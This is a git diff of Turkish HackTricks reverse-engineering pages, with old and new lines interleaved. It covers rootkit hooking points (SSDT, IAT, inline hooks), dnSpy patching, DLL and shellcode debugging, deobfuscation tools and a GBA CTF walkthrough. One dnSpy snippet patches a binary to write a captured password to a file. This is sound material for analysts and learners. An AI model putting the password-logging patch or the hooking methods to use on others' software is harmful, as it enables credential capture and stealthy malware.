@ -141,9 +149,27 @@ Kötü niyetli yazılım, işlemin belleğinden meşru kodu kaldırır ve kötü
## Hooking
* **SSDT** (**Sistem Hizmeti Tanım Tablosu**), kullanıcı işlemlerinin bu işlevleri (ntoskrnl.exe) veya GUI sürücüsü (win32k.sys) çağırmasını sağlayan çekirdek işlevlere işaret eder.
* **SSDT** (**Sistem Hizmeti Tanım Tablosu**), kullanıcı işlemlerinin bu işlevleri (ntoskrnl.exe) veya GUI sürücüsü (win32k.sys) çağırmasını sağlayan çekirdek işlevlere (ntoskrnl.exe) veya GUI sürücüsüne (win32k.sys) işaret eder.
* Bir rootkit, bu işaretçileri kendi kontrol ettiği adreslere değiştirebilir
* **IRP** (**Giriş/Çıkış İsteği Paketleri**), bir bileşenden diğerine veri parçaları iletilmesini sağlar. Çekirdekte neredeyse her şey IRP'leri kullanır ve her aygıt nesnesinin kendi işlev tablosu vardır ve bunlar kancalanabilir: DKOM (Doğrudan Çekirdek Nesne Manipülasyonu)
* **IAT** (**İçe Aktarma Adres Tablosu**), bağımlılıkları çözmek için kullanışlıdır. Bu tabloyu kancalamak, çağrılacak kodu ele geçirmeyi sağlar.
* **EAT** (**Dışa Aktarma Adres Tablosu**) Kancalar. Bu kancalar **kullanıcı alanından** yapılabilir. Amaç, DLL'ler tarafından ihraç edilen işlevleri kancalamaktır.
* **Inline Kancalar**: Bu tür, zor bir hedeftir. Bu, işlevlerin kodunu değiştirerek yapılır. Belki de bunu başlangıcına bir atlama ekleyerek yapabilirsiniz.
* **IRP** (**Giriş/Çıkış İsteği Paketleri**), bir bileşenden diğerine veri parçaları iletmek için kullanılır. Çekirdekte neredeyse her şey IRP'leri kullanır ve her aygıt nesnesinin kendi işlev tablosu vardır ve bu tablo kancalanabilir: DKOM (Doğrudan Çekirdek Nesne Manipülasyonu)
* **IAT** (**İçe Aktarma Adres Tablosu**), bağımlılıkları çözmek için kullanışlıdır. Bu tabloyu kancalamak, çağrılacak kodu ele geçirmeyi mümkün kılar.
* **EAT** (**Dışa Aktarma Adres Tablosu**) Kancalar. Bu kancalar **kullanıcı alanından** yapılabilir. Amaç, DLL'ler tarafından dışa aktarılan işlevleri kancalamaktır.
* **İç Kancalar**: Bu tür, zor ulaşılabilen türdendir. Bu, işlevlerin kodunu değiştirerek yapılır. Belki de bunu başlangıcına bir sıçrama koyarak yapabilirsiniz.
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerimizden oluşan The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi göndererek PR'ler oluşturarak paylaşın** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.

View file

@ -2,18 +2,26 @@
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** takip edin
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## ImGui Tabanlı Tersine Mühendislik Araçları
Yazılım:
@ -24,8 +32,8 @@ Yazılım:
Çevrimiçi:
* Wasm'dan (ikili) wat'a (açık metin) **çözümleme** yapmak için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın
* Wat'tan wasm'a derlemek için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın
* Wasm (ikili) dosyasından wat (açık metin) dosyasına **çözümleme** yapmak için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın
* Wat dosyasından wasm dosyasına **derleme** yapmak için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın
* Ayrıca [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanarak çözümleme yapabilirsiniz
Yazılım:
@ -37,9 +45,9 @@ Yazılım:
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **yürütülebilir dosyalar** (.exe) dahil olmak üzere **çeşitli formatları çözümleyen** bir dekompilerdir. Çözümlendikten sonra bir derleme bir Visual Studio projesi (.csproj) olarak kaydedilebilir.
dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **yürütülebilir dosyalar** (.exe) dahil olmak üzere **çeşitli formatları çözümleyen** bir dekompilerdir. Çözümlendikten sonra bir derleme, bir Visual Studio projesi (.csproj) olarak kaydedilebilir.
Buradaki avantaj, kaybolmuş bir kaynak kodunun eski bir derlemeden geri yüklenmesi gerekiyorsa, bu işlem zaman kazandırabilir. Ayrıca, dotPeek, çözümlenen kod boyunca kullanışlı gezinme sağlayarak, **Xamarin algoritma analizi için mükemmel araçlardan biri** yapar.
Buradaki avantaj, kaybolmuş bir kaynak kodunun eski bir derlemeden geri yüklenmesi gerekiyorsa, bu işlem zaman kazandırabilir. Ayrıca dotPeek, çözümlenen kod boyunca kullanışlı gezinme sağlayarak, **Xamarin algoritma analizi için mükemmel araçlardan biri** yapar.
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
@ -47,15 +55,15 @@ Kapsamlı bir eklenti modeli ve aracı tam olarak ihtiyaçlarınıza uyacak şek
* Verilerin bir kütüphane veya bileşen üzerinden nasıl aktığına dair bir bakış açısı sağlar
* .NET dilleri ve çerçevelerinin uygulanışı ve kullanımı hakkında bilgi sağlar
* Kullanılan API'ler ve teknolojilerden daha fazlasını elde etmek için belgelenmemiş ve açığa çıkarılmamış işlevselliği bulur
* Kullanılan API'ler ve teknolojilerden daha fazlasını elde etmek için belgelenmemiş ve açığa çıkarılmamış işlevsellikleri bulur
* Bağımlılıkları ve farklı derlemeleri bulur
* Kodunuzdaki hataların, üçüncü taraf bileşenlerin ve kütüphanelerin tam konumunu belirler
* Kodunuzdaki hataların, üçüncü taraf bileşenlerin ve kütüphanelerin tam konumunu bulur
* Çalıştığınız tüm .NET kodunun kaynağına hata ayıklar.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan yükleyebilirsiniz, git'i indirmenize gerek yok. **Extensions** üzerine tıklayın ve **ILSpy** arayın).\
Eğer **çözümleme**, **değiştirme** ve **yeniden derleme** yapmanız gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya aktif olarak bakımı yapılan bir çatalı olan [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (Bir fonksiyon içinde bir şey değiştirmek için **Sağ Tıkla -> Yöntemi Değiştir**).
[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan yükleyebilirsiniz, git'i indirmenize gerek yok. **Uzantılar** üzerine tıklayın ve **ILSpy** arayın).\
Eğer **çözümlemek**, **değiştirmek** ve **yeniden derlemek** gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya aktif olarak bakımı yapılan bir çatalı olan [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (Bir işlev içinde bir şey değiştirmek için **Sağ Tıkla -> Yöntemi Değiştir**).
### DNSpy Günlüğü
@ -67,7 +75,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
```
### DNSpy Hata Ayıklama
DNSpy kullanarak kodları hata ayıklamak için şunları yapmanız gerekmektedir:
DNSpy kullanarak kodu hata ayıklamak için şunları yapmanız gerekmektedir:
İlk olarak, **hata ayıklama** ile ilgili **Derleme özniteliklerini** değiştirin:
@ -77,7 +85,7 @@ DNSpy kullanarak kodları hata ayıklamak için şunları yapmanız gerekmektedi
```
## Temel Tersine Mühendislik Araçları ve Yöntemleri
Bu bölümde, temel tersine mühendislik araçları ve yöntemleri hakkında bilgi bulacaksınız. Tersine mühendislik, yazılım veya donanımın çalışma prensiplerini anlamak için kullanılan bir tekniktir. Bu bölümde, temel tersine mühendislik araçları ve yöntemleri hakkında bilgi bulacaksınız.
Bu bölümde, tersine mühendislik işlemlerinde kullanılan temel araçlar ve yöntemler hakkında bilgi bulacaksınız. Tersine mühendislik, yazılımın veya donanımın çalışma prensiplerini anlamak için kullanılan bir tekniktir. Bu süreçte kullanılan araçlar ve yöntemler, yazılımın veya donanımın iç yapısını anlamak ve değiştirmek için oldukça önemlidir. Bu bölümde ele alınan araçlar ve yöntemler, tersine mühendislik sürecinde size rehberlik edecektir.
```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
@ -88,13 +96,13 @@ Ve ardından **derle**'ye tıklayın:
![](<../../.gitbook/assets/image (314) (1) (1).png>)
Daha sonra yeni dosyayı _**Dosya >> Modülü Kaydet...**_ üzerinden kaydedin:
Daha sonra yeni dosyayı _**Dosya >> Modülü Kaydet...**_ yolunu izleyerek kaydedin:
![](<../../.gitbook/assets/image (279).png>)
Bunu yapmanız gereklidir çünkü bunu yapmazsanız, **çalışma zamanında** kod üzerine birkaç **optimizasyon** uygulanabilir ve **hata ayıklarken bir kesme noktasına hiç ulaşılamayabilir** veya bazı **değişkenler mevcut olmayabilir**.
Bunu yapmanız gereklidir çünkü bunu yapmazsanız, **çalışma zamanında** kod üzerine birçok **optimizasyon** uygulanabilir ve **hata ayıklarken bir kesme noktasına ulaşılamayabilir** veya bazı **değişkenler mevcut olmayabilir**.
Ardından, .NET uygulamanız **IIS** tarafından **çalıştırılıyorsa**, onu şu şekilde **yeniden başlatabilirsiniz**:
Ardından, .NET uygulamanız **IIS** tarafından **çalıştırılıyorsa**, onu **yeniden başlatabilirsiniz**:
```
iisreset /noforce
```
@ -129,36 +137,36 @@ Daha sonra **w3wp.exe**'yi seçerek **IIS sunucusuna** bağlanın ve **attach**'
### IDA Kullanarak
* **rundll32**'yi yükleyin (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe)
* **rundll32 yükle** (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe)
* **Windbg** hata ayıklayıcıyı seçin
* "**Suspend on library load/unload**" seçin
* "**Kütüphane yükleme/boşaltma durdur**" seçin
![](<../../.gitbook/assets/image (135).png>)
* **DLL'nin yolunu** ve çağırmak istediğiniz fonksiyonu belirterek **yürütme parametrelerini yapılandırın**:
* **DLL'nin yolunu ve çağırmak istediğiniz işlevi** belirterek **yürütme parametrelerini yapılandırın**:
![](<../../.gitbook/assets/image (136).png>)
Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulur**, sonra, rundll32 DLL'nizi yüklediğinde yürütme durdurulur.
Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulur**, sonra rundll32 DLL'nizi yüklediğinde yürütme durdurulur.
Ancak, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, bunu bilmiyorum.
### x64dbg/x32dbg Kullanarak
* **rundll32**'yi yükleyin (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe)
* **Komut Satırını Değiştirin** ( _File --> Change Command Line_ ) ve dll'nin yolunu ve çağırmak istediğiniz fonksiyonu belirtin, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* _Options --> Settings_ değiştirin ve "**DLL Entry**" seçin.
* Ardından **yürütmeyi başlatın**, hata ayıklayıcı her dll ana noktasında duracak, bir noktada **dll'nin girişinde duracaksınız**. Oradan, koyacağınız kırılma noktalarını arayın.
* **rundll32 yükle** (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe)
* **Komut Satırını Değiştirin** ( _Dosya --> Komut Satırını Değiştir_ ) ve dll'nin yolunu ve çağırmak istediğiniz işlevi belirleyin, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* _Ayarlar --> Ayarlar_ değiştirin ve "**DLL Girişi**"ni seçin.
* Ardından **yürütmeyi başlatın**, hata ayıklayıcı her dll ana noktasında duracak, bir noktada **dll Girişinde duracaksınız**. Oradan, kırılma noktalarını koymak istediğiniz noktaları arayın.
Yürütme herhangi bir nedenle durduğunda win64dbg'de **hangi kodda olduğunuzu** görebilirsiniz, **win64dbg penceresinin üst kısmına bakarak**:
![](<../../.gitbook/assets/image (137).png>)
Dolayısıyla, dll'yi hata ayıklamak istediğinizde yürütmenin hangi kodda durduğunu görebilirsiniz.
Sonra, yürütmenin durduğu dll'yi hata ayıklamak istediğiniz noktayı görebilirsiniz.
## GUI Uygulamaları / Video Oyunları
[**Cheat Engine**](https://www.cheatengine.org/downloads.php), çalışan bir oyunun belleğinde önemli değerlerin nerede saklandığını bulmanıza ve değiştirmenize olanak tanıyan faydalı bir programdır. Daha fazla bilgi için:
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) çalışan bir oyunun belleğinde önemli değerlerin nerede saklandığını bulmanıza ve değiştirmenize olanak tanıyan faydalı bir programdır. Daha fazla bilgi için:
{% content-ref url="cheat-engine.md" %}
[cheat-engine.md](cheat-engine.md)
@ -172,8 +180,8 @@ Dolayısıyla, dll'yi hata ayıklamak istediğinizde yürütmenin hangi kodda du
### Blobrunner ile bir shellcode'u hata ayıklama
[**Blobrunner**](https://github.com/OALabs/BlobRunner), **shellcode'u** bellek alanına **ayıracak**, shellcode'un ayrıldığı **bellek adresini size gösterecek** ve **yürütmeyi durduracak**tır.\
Daha sonra, bir **hata ayıklayıcıyı** (Ida veya x64dbg) işleme **bağlamanız** ve belirtilen bellek adresine bir **kırılma noktası koymanız** ve yürütmeyi **devam ettirmeniz** gerekecektir. Böylece shellcode'u hata ayıklıyorsunuz.
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode'u** bir bellek alanına **ayırır**, size shellcode'un ayrıldığı **bellek adresini gösterir** ve **yürütmeyi durdurur**.\
Daha sonra, bir **hata ayıklayıcıyı** (Ida veya x64dbg) işleme **bağlamanız** ve belirtilen bellek adresine bir **kırılma noktası koymanız** ve yürütmeyi **devam ettirmeniz** gerekir. Bu şekilde shellcode'u hata ayıklıyorsunuz.
Yayınlar github sayfasında derlenmiş sürümleri içeren zip dosyalarını içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Blobrunner'ın hafif değiştirilmiş bir sürümünü aşağıdaki bağlantıda bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**.
@ -184,34 +192,32 @@ Blobrunner'ın hafif değiştirilmiş bir sürümünü aşağıdaki bağlantıda
### jmp2it ile bir shellcode'u hata ayıklama
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4), blobrunner'a çok benzerdir. **Shellcode'u** bellek alanına **ayıracak** ve bir **sonsuz döngü başlatacaktır**. Daha sonra, **hata ayıklayıcıyı** işleme **bağlamanız**, **başlatmanız, 2-5 saniye beklemeniz ve durdur tuşuna basmanız** gerekecek ve kendinizi **sonsuz döngü içinde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütürken bulacaksınız.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)blobrunner'a çok benzer. **Shellcode'u** bir bellek alanına **ayırır** ve bir **sonsuz döngü başlatır**. Daha sonra, **hata ayıklayıcıyı** işleme **bağlamanız**, **başlat düğmesine basmanızı beklemeniz ve dur düğmesine basmanızı** ve kendinizi **sonsuz döngü içinde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütürken bulacaksınız.
![](<../../.gitbook/assets/image (397).png>)
[Çıkış sayfasından derlenmiş bir sürümünü indirebilirsiniz](https://github.com/adamkramer/jmp2it/releases/).
### Cutter ile bir shellcode'u hata ayıklama
### Cutter kullanarak bir shellcode'u hata ayıklama
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0), radare'nin GUI'sudur. Cutter kullanarak shellcode'u emüle edebilir ve dinamik olarak inceleyebilirsiniz.
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) radare'nin GUI'sudur. Cutter'ı kullanarak shellcode'u emüle edebilir ve dinamik olarak inceleyebilirsiniz.
Cutter'ın "Dosya Aç" ve "Shellcode Aç" seçeneklerine izin verdiğini unutmayın. Benim durumumda, shellcode'u bir dosya olarak açtığımda doğru şekilde decompile etti, ancak shellcode olarak açtığımda yapamadı:
![](<../../.gitbook/assets/image (400).png>)
Başlamak istediğiniz yerde emülasyonu başlatmak için oraya bir bp ayarlayın ve görünüşe göre cutter otomatik olarak oradan emülasyona başlayacaktır:
Başlamak istediğiniz yere emülasyonu başlatmak için oraya bir bp ayarlayın ve görünüşe göre cutter otomatik olarak oradan emülasyona başlayacaktır:
![](<../../.gitbook/assets/image (399).png>)
![](<../../.gitbook/assets/image (401).png>)
Örneğin, bir hex dump içinde yığını görebilirsiniz:
![](<../../.gitbook/assets/image (402).png>)
### Shellcode'u deobfuscate etme ve yürütülen fonksiyonları almak
### Shellcode'u deobfuscate etme ve yürütülen işlevleri almak
[**scdbg**'yi denemelisiniz](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
Shellcode'un hangi fonksiyonları kullandığını ve shellcode'un bellekte kendini **çözümlüyor** olup olmadığını size söyleyecektir.
[**scdbg'yi denemelisiniz**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
Shellcode'un hangi işlevleri kullandığını ve shellcode'un bellekte kendini **çözüp çözmediğini** size söyleyecektir.
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -220,11 +226,11 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
scdbg.exe -f shellcode /findsc #Find offset where starts
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
```
scDbg ayrıca, istediğiniz seçenekleri seçebileceğiniz ve shellcode'yi yürütebileceğiniz grafiksel bir başlatıcıya sahiptir
scDbg ayrıca, istediğiniz seçenekleri seçebileceğiniz ve shellcode'ları yürütebileceğiniz grafiksel bir başlatıcıya sahiptir
![](<../../.gitbook/assets/image (398).png>)
**Dump Oluştur** seçeneği, bellekte shellcode dinamik olarak değiştirilirse son shellcode'u döker (çözülmüş shellcode'u indirmek için faydalıdır). **Başlangıç ofseti**, shellcode'u belirli bir ofsette başlatmak için faydalı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminalini kullanarak hata ayıklamak için faydalıdır (ancak bu konuda açıklanan seçeneklerden herhangi birini daha iyi buluyorum çünkü Ida veya x64dbg kullanabileceksiniz).
**Dump Oluştur** seçeneği, bellekte shellcode dinamik olarak değiştirilirse son shellcode'u döker (çözülmüş shellcode'u indirmek için kullanışlıdır). **Başlangıç ofseti**, shellcode'u belirli bir ofsette başlatmak için kullanışlı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminalini kullanarak hata ayıklamak için kullanışlıdır (ancak bu konuda açıklanan seçeneklerden herhangi birini daha iyi buluyorum çünkü Ida veya x64dbg kullanabileceksiniz).
### CyberChef Kullanarak Disassembling
@ -232,19 +238,19 @@ Shellcode dosyanızı giriş olarak yükleyin ve aşağıdaki tarifi kullanarak
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
Bu obfuscator, **tüm `mov` komutları için talimatları değiştirir**(evet, gerçekten harika). Ayrıca, yürütme akışlarını değiştirmek için kesmeler kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için:
Bu obfuscator, **tüm `mov` komutları için talimatları değiştirir**(evet, gerçekten harika). Ayrıca yürütme akışlarını değiştirmek için kesmeler kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için:
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
Şanslıysanız [demovfuscator](https://github.com/kirschju/demovfuscator) ikili dosyayııklayabilir. Çeşitli bağımlılıkları bulunmaktadır
Şanslıysanız [demovfuscator](https://github.com/kirschju/demovfuscator) ikili dosyayııklayabilir. Birkaç bağımlılığı vardır
```
apt-get install libcapstone-dev
apt-get install libz3-dev
```
Ve [keystone'ı yükle](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Eğer bir **CTF oyununda, bayrağı bulmak için bu çözüm** çok faydalı olabilir: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
Eğer bir **CTF oyununda oynuyorsanız, bayrağı bulmak için bu çözüm** çok faydalı olabilir: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
@ -265,7 +271,7 @@ Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) v
Bu eklenti, hata ayıklamanın başlangıcında işlev adlarını dinamik olarak çözecek ve ikili dosyayı yürütecektir. Hata ayıklamayı başlattıktan sonra tekrar Başlat düğmesine basın (yeşil olan veya f9) ve bir kesme noktası gerçek kodun başında olacaktır.
Ayrıca, grafik uygulamasında bir düğmeye bastığınızda hata ayıklayıcı o düğme tarafından yürütülen işlevde duracaktır.
Ayrıca, grafik uygulamasında bir düğmeye bastığınızda hata ayıklayıcı, o düğme tarafından yürütülen işlevde duracaktır.
## Golang
@ -287,7 +293,7 @@ Bu sayfada, bir ELF/EXE python derlenmiş ikili dosyasından python kodunu nası
Bir GBA oyununun **ikili** dosyasını aldıysanız, onu **emüle etmek** ve **hata ayıklamak** için farklı araçlar kullanabilirsiniz:
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Hata ayıklama sürümünü indirin_) - Arayüz ile bir hata ayıklayıcı içerir
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Hata ayıklama sürümünü indirin_) - Arayüzle birlikte bir hata ayıklayıcı içerir
* [**mgba** ](https://mgba.io)- Bir CLI hata ayıklayıcı içerir
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra eklentisi
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra eklentisi
@ -309,11 +315,11 @@ DOWN = 128
R = 256
L = 256
```
Bu tür programlarda, ilginç olan kısım, programın kullanıcı girdisini nasıl işlediğidir. Adreste **0x4000130** sıkça rastlanan **KEYINPUT** fonksiyonunu bulacaksınız.
Bu tür bir programda, ilginç olan kısım **programın kullanıcı girdisini nasıl işlediği** olacaktır. Adreste **0x4000130** sıkça bulunan **KEYINPUT** fonksiyonunu bulacaksınız.
![](<../../.gitbook/assets/image (579).png>)
Önceki görüntüde, fonksiyonun **FUN\_080015a8**'den çağrıldığını görebilirsiniz (adresler: _0x080015fa_ ve _0x080017ac_).
Önceki görüntüde, fonksiyonun **FUN\_080015a8** (adresler: _0x080015fa_ ve _0x080017ac_) tarafından çağrıldığını görebilirsiniz.
O fonksiyonda, bazı başlatma işlemlerinden sonra (önemsiz olanlar):
```c
@ -348,7 +354,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
Son if, `uVar4`'ün **son tuşlar** içinde olup olmadığını kontrol ediyor ve mevcut tuş değilse, yani bir tuş bırakma işlemi yapıyor (mevcut tuş **`uVar1`** içinde saklanıyor).
Son if, **`uVar4`**'ün **son tuşlar** içinde olup olmadığını kontrol ediyor ve mevcut tuş değilse, yani bir düğmeye bırakılıyor (mevcut tuş **`uVar1`** içinde saklanır).
```c
if (uVar1 == 4) {
DAT_030000d4 = 0;
@ -380,9 +386,8 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
* İlk olarak, **değer 4** (**SEÇ** düğmesi) ile karşılaştırılır: Bu düğme meydan okumada ekranı temizler.
* Ardından, **değer 8** (**BAŞLAT** düğmesi) ile karşılaştırılır: Bu meydan okumada kodun bayrağı almak için geçerli olup olmadığını kontrol eder.
* Bu durumda, **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılır ve değer aynıysa bazı kodlar yürütülür.
* Diğer durumlarda, bazı kontroller (`DAT_030000d4`) yapılır. Bu bir kontrol olduğundan, kod girdikten hemen sonra 1 eklenir.\
Eğer 8'den küçükse, **`DAT_030000d8`** değişkenine değerler **eklemeyi** içeren bir şey yapılır (temelde, kont 8'den küçük olduğu sürece bu değişkene basılan tuşların değerlerini ekliyor).
* Bu durumda, **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılır ve değer aynıysa bazı kodlar çalıştırılır.
* Diğer durumlarda, bazı kontroller (`DAT_030000d4`) yapılır. Bu bir kontrol olduğundan, kod girdikten hemen sonra 1 eklenir. Eğer 8'den küçükse, **`DAT_030000d8`** değişkenine değerler ekleyen bir işlem yapılır (temelde, kont 8'den küçük olduğu sürece bu değişkene basılan tuşların değerlerini ekler).
Bu meydan okumada, düğmelerin değerlerini bilerek, sonucu 0xf3 olan 8'den küçük bir uzunluktaki bir kombinasyonu **basmanız gerekiyordu**.
@ -397,16 +402,22 @@ Bu meydan okumada, düğmelerin değerlerini bilerek, sonucu 0xf3 olan 8'den kü
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
